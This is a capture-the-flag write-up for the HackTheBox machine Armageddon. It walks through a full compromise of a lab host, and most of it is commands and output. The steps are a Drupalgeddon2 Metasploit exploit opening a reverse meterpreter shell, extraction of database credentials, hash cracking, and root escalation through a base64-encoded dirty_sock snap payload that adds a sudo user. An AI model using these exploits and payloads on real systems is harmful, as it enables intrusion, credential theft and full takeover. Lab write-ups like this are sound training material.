Armageddon Writeup

Reconnaissance & Enumeration

Like always, starting off with port enumeration.

sudo nmap -v -sC -sV -oN nmap -p- armageddon.htb

Scan report:

# Nmap 7.91 scan initiated Sat Mar 27 22:00:11 2021 as: nmap -v -sC -sV -oN nmap -p- armageddon.htb
Nmap scan report for armageddon.htb (10.10.10.233)
Host is up (0.063s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon"

Looks like there isn’t anything out of ordinary, just the usual SSH and a web service on port 80.

Getting user

Visiting the website shows a login page with the option to register an account

Looking at the source code of the page we can see that it uses Drupal 7, so let’s see what we can find about it.

After a little googling I’ve found a possible metasploit module to exploit the CMS.

Let’s try if we can get initial shell using this module.

msf6 > search drupal 7

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   1  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   4  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   5  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   6  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution


Interact with a module by name or index. For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval

msf6 > use 4
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)


msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS armageddon.htb
RHOSTS => armageddon.htb
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 10.10.15.9
LHOST => 10.10.15.9
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.10.15.9:4444
[*] Sending stage (39282 bytes) to 10.10.10.233
[*] Meterpreter session 1 opened (10.10.15.9:4444 -> 10.10.10.233:58262) at 2021-03-28 23:03:08 +0100

meterpreter >

Nice, we have a shell. After getting the initial shell, I read about how Drupal 7 works and where it stores the sensitive information.

It turns out, that Drupal has a settings.php in the sites/default directory.

Let’s see if we can get something from the file.

meterpreter > ls
Listing: /var/www/html/sites/default
====================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  26250  fil   2017-06-21 19:20:18 +0100  default.settings.php
40775/rwxrwxr-x   37     dir   2020-12-03 12:32:39 +0000  files
100444/r--r--r--  26565  fil   2020-12-03 12:32:37 +0000  settings.php

meterpreter > cat settings.php
<?php

...
 * @endcode
 */
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
...

meterpreter >

In the settings.php we can find the credentials to the mysql database of the target machine.

Let’s see what is inside the database.

mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;'
Database
information_schema
drupal
mysql
performance_schema
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal;show tables'
Tables_in_drupal
actions
...
url_alias
users
users_roles
...
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal;select * from users;'
uid     name    pass    mail    theme   signature       signature_format        created access  login   status  timezone  language        picture init    data
0                                               NULL    0       0       0       0       NULL            0        NULL
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu      filtered_html    1606998756      1607077194      1607076276      1       Europe/London           0       admin@armageddon.eu       a:1:{s:7:"overlay";i:1;}

After listing the rows of the users table in the drupal database, I’ve found the hashed password of the brucetherealadmin user.

To crack the password I’ve used hashcat with the hash-mode: 7900 and the rockyou wordlist.

┌──(kali㉿kali)-[~/Desktop/HackTheBox/Machines/Armageddon]
└─$ hashcat -m 7900 hash --show
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo

Using these credentials, we can access the target machine through SSH.

Getting root

I’ve started with basic priv. esc. enumeration. Listing the allowed sudo commands we find out that we can run the following command as sudo without authentication: /usr/bin/snap install *

ssh brucetherealadmin@armageddon.htb
Warning: Permanently added the ECDSA host key for IP address '10.129.90.1' to the list of known hosts.
brucetherealadmin@armageddon.htb's password:
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
    LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *
[brucetherealadmin@armageddon ~]$

Looking up similar exploitations I’ve found the dirty_sock (GitHub) Linux Privilege Escalation.

dirty_sock explained

It wasn’t that easy though. The method described in the article won’t give us root access but we can use some parts of the python tool. The trojan snap payload is perfect for us, so let’s build the .snap file using the dirty_sockv2.py file.

The following command will create the snap file that we’ll install on the target machine.

python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAAAwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiAPiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5qumvhFkbY5Pr4ba1mk4lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkcMA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"\*4256 + "=="' | base64 -d > exploit.snap

Now that we have created the snap package let’s install it.


[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install ./exploit.snap
error: cannot find signatures with metadata for snap "./exploit.snap"
[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install --devmode ./exploit.snap
dirty-sock 0.1 installed

The payload leverages the vulnerability to install an empty “devmode” snap including a hook that adds a new user to the local system. This user will have permissions to execute sudo commands.

After the installation we should have a user called dirty_sock. The password of the user is also dirty_sock.

Using this newly created user we can easily get root access and grab the flag:


[brucetherealadmin@armageddon ~]$ su dirty_sock
Password:

[dirty_sock@armageddon brucetherealadmin]$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dirty_sock:
[root@armageddon brucetherealadmin]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@armageddon brucetherealadmin]#